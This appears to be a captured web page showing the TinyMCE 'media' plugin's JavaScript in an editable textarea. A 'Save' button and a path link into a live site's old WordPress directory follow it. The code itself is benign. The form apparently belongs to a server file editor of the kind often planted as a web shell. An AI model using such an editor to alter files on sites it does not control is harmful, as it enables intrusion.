      placeHolder.attr({
        &#039;width&#039;: node.attr(&#039;width&#039;) || &#039;300&#039;,
        &#039;height&#039;: node.attr(&#039;height&#039;) || (name === &#039;audio&#039; ? &#039;30&#039; : &#039;150&#039;),
        &#039;style&#039;: node.attr(&#039;style&#039;),
        &#039;src&#039;: global$1.transparentSrc,
        &#039;data-mce-object&#039;: name,
        &#039;class&#039;: &#039;mce-object mce-object-&#039; + name
      });
      return placeHolder;
    };
    var createPreviewIframeNode = function (editor, node) {
      var previewWrapper;
      var previewNode;
      var shimNode;
      var name = node.name;
      previewWrapper = new global$8(&#039;span&#039;, 1);
      previewWrapper.attr({
        &#039;contentEditable&#039;: &#039;false&#039;,
        &#039;style&#039;: node.attr(&#039;style&#039;),
        &#039;data-mce-object&#039;: name,
        &#039;class&#039;: &#039;mce-preview-object mce-object-&#039; + name
      });
      retainAttributesAndInnerHtml(editor, node, previewWrapper);
      previewNode = new global$8(name, 1);
      previewNode.attr({
        src: node.attr(&#039;src&#039;),
        allowfullscreen: node.attr(&#039;allowfullscreen&#039;),
        style: node.attr(&#039;style&#039;),
        class: node.attr(&#039;class&#039;),
        width: node.attr(&#039;width&#039;),
        height: node.attr(&#039;height&#039;),
        frameborder: &#039;0&#039;
      });
      shimNode = new global$8(&#039;span&#039;, 1);
      shimNode.attr(&#039;class&#039;, &#039;mce-shim&#039;);
      previewWrapper.append(previewNode);
      previewWrapper.append(shimNode);
      return previewWrapper;
    };
    var retainAttributesAndInnerHtml = function (editor, sourceNode, targetNode) {
      var attrName;
      var attrValue;
      var attribs;
      var ai;
      var innerHtml;
      attribs = sourceNode.attributes;
      ai = attribs.length;
      while (ai--) {
        attrName = attribs[ai].name;
        attrValue = attribs[ai].value;
        if (attrName !== &#039;width&#039; &amp;&amp; attrName !== &#039;height&#039; &amp;&amp; attrName !== &#039;style&#039;) {
          if (attrName === &#039;data&#039; || attrName === &#039;src&#039;) {
            attrValue = editor.convertURL(attrValue, attrName);
          }
          targetNode.attr(&#039;data-mce-p-&#039; + attrName, attrValue);
        }
      }
      innerHtml = sourceNode.firstChild &amp;&amp; sourceNode.firstChild.value;
      if (innerHtml) {
        targetNode.attr(&#039;data-mce-html&#039;, escape(Sanitize.sanitize(editor, innerHtml)));
        targetNode.firstChild = null;
      }
    };
    var isWithinEphoxEmbed = function (node) {
      while (node = node.parent) {
        if (node.attr(&#039;data-ephox-embed-iri&#039;)) {
          return true;
        }
      }
      return false;
    };
    var placeHolderConverter = function (editor) {
      return function (nodes) {
        var i = nodes.length;
        var node;
        var videoScript;
        while (i--) {
          node = nodes[i];
          if (!node.parent) {
            continue;
          }
          if (node.parent.attr(&#039;data-mce-object&#039;)) {
            continue;
          }
          if (node.name === &#039;script&#039;) {
            videoScript = VideoScript.getVideoScriptMatch(Settings.getScripts(editor), node.attr(&#039;src&#039;));
            if (!videoScript) {
              continue;
            }
          }
          if (videoScript) {
            if (videoScript.width) {
              node.attr(&#039;width&#039;, videoScript.width.toString());
            }
            if (videoScript.height) {
              node.attr(&#039;height&#039;, videoScript.height.toString());
            }
          }
          if (node.name === &#039;iframe&#039; &amp;&amp; Settings.hasLiveEmbeds(editor) &amp;&amp; global$1.ceFalse) {
            if (!isWithinEphoxEmbed(node)) {
              node.replace(createPreviewIframeNode(editor, node));
            }
          } else {
            if (!isWithinEphoxEmbed(node)) {
              node.replace(createPlaceholderNode(editor, node));
            }
          }
        }
      };
    };
    var Nodes = {
      createPreviewIframeNode: createPreviewIframeNode,
      createPlaceholderNode: createPlaceholderNode,
      placeHolderConverter: placeHolderConverter
    };

    var setup = function (editor) {
      editor.on(&#039;preInit&#039;, function () {
        var specialElements = editor.schema.getSpecialElements();
        global$2.each(&#039;video audio iframe object&#039;.split(&#039; &#039;), function (name) {
          specialElements[name] = new RegExp(&#039;&lt;/&#039; + name + &#039;[^&gt;]*&gt;&#039;, &#039;gi&#039;);
        });
        var boolAttrs = editor.schema.getBoolAttrs();
        global$2.each(&#039;webkitallowfullscreen mozallowfullscreen allowfullscreen&#039;.split(&#039; &#039;), function (name) {
          boolAttrs[name] = {};
        });
        editor.parser.addNodeFilter(&#039;iframe,video,audio,object,embed,script&#039;, Nodes.placeHolderConverter(editor));
        editor.serializer.addAttributeFilter(&#039;data-mce-object&#039;, function (nodes, name) {
          var i = nodes.length;
          var node;
          var realElm;
          var ai;
          var attribs;
          var innerHtml;
          var innerNode;
          var realElmName;
          var className;
          while (i--) {
            node = nodes[i];
            if (!node.parent) {
              continue;
            }
            realElmName = node.attr(name);
            realElm = new global$8(realElmName, 1);
            if (realElmName !== &#039;audio&#039; &amp;&amp; realElmName !== &#039;script&#039;) {
              className = node.attr(&#039;class&#039;);
              if (className &amp;&amp; className.indexOf(&#039;mce-preview-object&#039;) !== -1) {
                realElm.attr({
                  width: node.firstChild.attr(&#039;width&#039;),
                  height: node.firstChild.attr(&#039;height&#039;)
                });
              } else {
                realElm.attr({
                  width: node.attr(&#039;width&#039;),
                  height: node.attr(&#039;height&#039;)
                });
              }
            }
            realElm.attr({ style: node.attr(&#039;style&#039;) });
            attribs = node.attributes;
            ai = attribs.length;
            while (ai--) {
              var attrName = attribs[ai].name;
              if (attrName.indexOf(&#039;data-mce-p-&#039;) === 0) {
                realElm.attr(attrName.substr(11), attribs[ai].value);
              }
            }
            if (realElmName === &#039;script&#039;) {
              realElm.attr(&#039;type&#039;, &#039;text/javascript&#039;);
            }
            innerHtml = node.attr(&#039;data-mce-html&#039;);
            if (innerHtml) {
              innerNode = new global$8(&#039;#text&#039;, 3);
              innerNode.raw = true;
              innerNode.value = Sanitize.sanitize(editor, unescape(innerHtml));
              realElm.append(innerNode);
            }
            node.replace(realElm);
          }
        });
      });
      editor.on(&#039;setContent&#039;, function () {
        editor.$(&#039;span.mce-preview-object&#039;).each(function (index, elm) {
          var $elm = editor.$(elm);
          if ($elm.find(&#039;span.mce-shim&#039;, elm).length === 0) {
            $elm.append(&#039;&lt;span class=&quot;mce-shim&quot;&gt;&lt;/span&gt;&#039;);
          }
        });
      });
    };
    var FilterContent = { setup: setup };

    var setup$1 = function (editor) {
      editor.on(&#039;ResolveName&#039;, function (e) {
        var name;
        if (e.target.nodeType === 1 &amp;&amp; (name = e.target.getAttribute(&#039;data-mce-object&#039;))) {
          e.name = name;
        }
      });
    };
    var ResolveName = { setup: setup$1 };

    var setup$2 = function (editor) {
      editor.on(&#039;click keyup&#039;, function () {
        var selectedNode = editor.selection.getNode();
        if (selectedNode &amp;&amp; editor.dom.hasClass(selectedNode, &#039;mce-preview-object&#039;)) {
          if (editor.dom.getAttrib(selectedNode, &#039;data-mce-selected&#039;)) {
            selectedNode.setAttribute(&#039;data-mce-selected&#039;, &#039;2&#039;);
          }
        }
      });
      editor.on(&#039;ObjectSelected&#039;, function (e) {
        var objectType = e.target.getAttribute(&#039;data-mce-object&#039;);
        if (objectType === &#039;audio&#039; || objectType === &#039;script&#039;) {
          e.preventDefault();
        }
      });
      editor.on(&#039;objectResized&#039;, function (e) {
        var target = e.target;
        var html;
        if (target.getAttribute(&#039;data-mce-object&#039;)) {
          html = target.getAttribute(&#039;data-mce-html&#039;);
          if (html) {
            html = unescape(html);
            target.setAttribute(&#039;data-mce-html&#039;, escape(UpdateHtml.updateHtml(html, {
              width: e.width,
              height: e.height
            })));
          }
        }
      });
    };
    var Selection = { setup: setup$2 };

    var register$1 = function (editor) {
      editor.addButton(&#039;media&#039;, {
        tooltip: &#039;Insert/edit media&#039;,
        cmd: &#039;mceMedia&#039;,
        stateSelector: [
          &#039;img[data-mce-object]&#039;,
          &#039;span[data-mce-object]&#039;,
          &#039;div[data-ephox-embed-iri]&#039;
        ]
      });
      editor.addMenuItem(&#039;media&#039;, {
        icon: &#039;media&#039;,
        text: &#039;Media&#039;,
        cmd: &#039;mceMedia&#039;,
        context: &#039;insert&#039;,
        prependToContext: true
      });
    };
    var Buttons = { register: register$1 };

    global.add(&#039;media&#039;, function (editor) {
      Commands.register(editor);
      Buttons.register(editor);
      ResolveName.setup(editor);
      FilterContent.setup(editor);
      Selection.setup(editor);
      return Api.get(editor);
    });
    function Plugin () {
    }

    return Plugin;

}());
})();
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.stick-clip.at%2Fhtdocsold%2Fwp-includes%2Fjs%2Ftinymce%2Fplugins%2Fmedia'>🔙 Back</a></p>